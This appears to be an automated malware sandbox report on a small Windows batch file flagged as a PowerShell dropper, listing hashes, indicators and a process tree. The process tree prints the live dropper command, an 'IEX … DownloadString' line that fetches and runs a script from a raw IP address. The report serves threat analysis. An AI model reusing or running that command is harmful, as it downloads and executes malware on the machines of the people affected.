467fc34c41ce35f920d6b34e72bf58ea3a4081a032d12ed77448d9a35363d589 | Triage

Analysis

max time kernel
64s
max time network
68s
platform
windows10_x64
resource
win10v200430
submitted
17-05-2020 19:10

Sharing

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General

Target

8b2ade35891baaef15ef7a7670b22a8b.bat
Size

221B
MD5

ae1d5d2c71f6e5d19efa142f75f7411a
SHA1

f644c336bd882f8c23cb39b3cc008ce556cad0c6
SHA256

467fc34c41ce35f920d6b34e72bf58ea3a4081a032d12ed77448d9a35363d589
SHA512

9647aede24a87f35b7557c6c40d92ff2d6b13ccdcce16b9c81f4c9b511e19e6319413882b4432793118fa8a36e0ea7624aac5950b6248b2415ebcd6e3533e586

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/8b2ade35891baaef15ef7a7670b22a8b

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

400 584 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 400 WerFault.exe
Token: SeBackupPrivilege 400 WerFault.exe
Token: SeDebugPrivilege 400 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe
400	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\8b2ade35891baaef15ef7a7670b22a8b.bat"
1⤵
PID:2536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/8b2ade35891baaef15ef7a7670b22a8b');Invoke-GZDKNPZKBPXNDW;Start-Sleep -s 10000"
2⤵
PID:584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:400

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/400-0-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

Filesize
4KB

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